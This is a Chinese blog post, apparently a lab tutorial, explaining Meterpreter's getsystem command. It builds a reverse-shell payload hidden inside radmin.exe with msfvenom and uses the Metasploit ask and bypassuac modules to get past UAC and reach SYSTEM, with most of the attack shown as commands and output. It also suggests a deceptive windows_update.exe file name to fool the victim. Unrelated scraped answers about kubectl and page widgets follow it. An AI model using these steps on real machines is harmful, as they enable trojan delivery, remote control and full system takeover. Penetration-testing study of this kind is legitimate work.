meterpreter之getsystem命令提权详解

前言

meterpreter shell是msf上集成的一组功能强大的shell集合,当我们获取一个反弹的meterpreter shell时,可以轻松的通过各种命令对靶机进行控制。熟悉的meterpreter的同学都清楚,其中有一个getsystem命令,帮助文档说明是提权用的,没有更详细的说明,很多人会误解为这是meterpreter的一键提权工具,但每次输入这个命令,都会爆出各种“incorrect“和”denied“,本文将通过理论和实验说明此命令的适用环境及提权过程。

一、实验环境

靶机:win7 ip:10.10.10.166
攻击机:kali2020 ip:10.10.10.136
1、攻击机上使用msfvonem生成meterpreter的payload,并下载到靶机上

root@kali2020:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.136 LPORT=4444 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradmin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 1319424 bytes
Saved as: rradmin.exe

2、攻击机开启监听,靶机运行payload,得到反弹shell,使用getsystem命令,提权失败。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.10.136:4444 
[*] Sending stage (180291 bytes) to 10.10.10.166
[*] Meterpreter session 1 opened (10.10.10.136:4444 -> 10.10.10.166:50129) at 2020-07-16 00:40:06 -0400

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
二、提权失败原因

在meterpreter shell界面,我们可以通过shell命令,进入cmd命令提示符,使用net user查看当前用户,发现当前用户实际是在管理组administrators组中,那为什么还提权不了呢?
原来,windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全,当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。因此,我们要想提权成功,首先要绕过windows的UAC限制,接下来我们来看常用的绕过UAC的套路。

三、绕过UAC的几种方式

1、exploit/windows/local/ask模块绕过UAC
在exploit/windows/local/ask模块,配置选项,设置之前得到的session。我们为了迷惑被攻击者,可以将FILENAME选项设置为windows_update.exe等欺骗性质文件名。

msf5 exploit(windows/local/ask) > show options

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME windows_update.exe no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)

设置配置,点击run后,靶机上会弹出一个对话框提示。
在这里插入图片描述

靶机上点击是,攻击机上会返回一个新的session,我们查看uid发现还是lovely用户,但此时再使用getsystem命令,即可成功的提权,得到SYSTEM权限。

msf5 exploit(windows/local/ask) > run

[*] Started reverse TCP handler on 10.10.10.136:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading windows_update.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (180291 bytes) to 10.10.10.166
[*] Meterpreter session 3 opened (10.10.10.136:4444 -> 10.10.10.166:50147) at 2020-07-16 01:54:46 -0400

meterpreter > getuid
Server username: lovely-PC\lovely
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

2、exploit/windows/local/bypassuac模块绕过UAC
此模块不同于ask模块,不需要用户电机提示,执行后自动可以绕过UAC限制,过程如下。

msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > show options

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION                     yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: PSH, EXE)


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf exploit(bypassuac) > set session 1
session => 1
msf exploit(bypassuac) > show options

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION    1                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accepted: PSH, EXE)


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf exploit(bypassuac) > run

[*] Started reverse TCP handler on 10.10.10.136:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (957487 bytes) to 10.10.10.166
[*] Meterpreter session 2 opened (10.10.10.136:4444 -> 10.10.10.166:49162) at 2020-07-22 22:57:46 -0400

meterpreter > getuid
Server username: root-PC\root
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
四、总结

meterpreter的getsystem命令,实际是针对windows的管理员组的用户的一种提权方式,当用户不在管理员组时,我们通常会通过系统的溢出漏洞进行提权。而当所得用户权限在管理员组时,我们需要先绕过UAC,然后使用getsystem命令进行提权即可。

  • 5
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: kubectl get svc命令用于获取Kubernetes集群中的服务列表。它会列出所有的服务,包括服务名称、类型、集群IP、端口、外部IP等信息。其中,svc是service的缩写。 具体使用方法为:在终端中输入kubectl get svc命令,即可获取服务列表。如果需要获取某个特定服务的详细信息,可以在命令后面加上服务名称,例如kubectl get svc my-service。 此外,kubectl get svc命令还支持一些参数,例如--namespace用于指定命名空间,--selector用于根据标签选择器获取服务列表等。可以通过kubectl get svc --help命令查看所有参数的详细说明。 ### 回答2: kubectl get svc命令是Kubernetes控制台管理命令之一。该命令主要用于获取Kubernetes集群中服务(Service)的信息,包括服务名称、IP地址、端口等信息。该命令可以帮助管理员快速了解服务的状态、调试问题和管理服务。 下面详细介绍kubectl get svc命令的参数和作用: 1. -n 参数:该参数指定了命名空间(Namespace),用于查找指定命名空间下的服务信息。如果不指定命名空间,则默认查找默认命名空间(default)下的服务。 2. -o 参数:该参数指定了输出格式(Output format),用于输出服务信息的格式,常用格式包括yaml、json、wide等。 3. --show-labels:该参数用于显示服务的标签(Label)信息。 4. --sort-by:该参数用于对服务信息进行排序,可选参数为name、namespace、labels、annotations、age等。 5. --selector:该参数用于指定服务的选择器(Selector),通过选择器可以选择指定标签的服务信息。 6. --all-namespaces:该参数用于查找所有命名空间下的服务信息。 例如,可以使用kubectl get svc命令来查找指定命名空间下的服务信息: $ kubectl get svc -n dev 或者查找所有命名空间下的服务信息: $ kubectl get svc --all-namespaces 此外,kubectl get svc命令还可以与其他命令组合使用,比如结合kubectl describe svc命令来获取服务的详细信息,或者结合kubectl edit svc命令来编辑服务的配置信息等。 总之,kubectl get svc命令是Kubernetes管理中非常重要的一个命令,管理员可以通过该命令快速查找和管理集群中的服务信息。掌握该命令的使用方法对于Kubernetes控制台管理非常有帮助。 ### 回答3: kubectl get svc是Kubernetes命令行工具kubectl中的一个命令,用于获取当前Kubernetes集群中所有的Service资源,并输出其信息。这个命令非常有用,因为Service是Kubernetes中非常重要的概念,是实现应用程序的负载均衡和服务发现的基础。 kubectl get svc命令的语法格式为: kubectl get svc [options] 其中,[options]是可选项,可以用于指定一些过滤条件或者输出格式等等。 常用的选项包括: - -n:指定资源所在的命名空间。 - -o:指定输出格式,可以是json、yaml、wide等等。 - -l:指定标签选择器,只显示具有指定标签的资源。 使用kubectl get svc命令可以查看当前集群中所有Service的基本信息,例如: $ kubectl get svc NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 3d4h my-nginx ClusterIP 10.96.6.149 <none> 80/TCP,443/TCP 6h15m nginx NodePort 10.96.4.40 <none> 80:32767/TCP 6h16m 上面的输出结果包含了所有Service的名称、类型、集群IP、外部IP、暴露的端口号和创建时间等基本信息。 如果我们想要获取指定名称的Service的详细信息,可以使用kubectl describe svc命令,例如: $ kubectl describe svc my-nginx 这个命令会输出指定名称的Service的详细信息,包括标签、选择器、端口信息、Endpoint等等。 总之,kubectl get svc命令是Kubernetes中非常常用的命令之一,通过它我们可以快速地查看和管理集群中所有的Service资源,进而实现应用程序的负载均衡和服务发现等功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值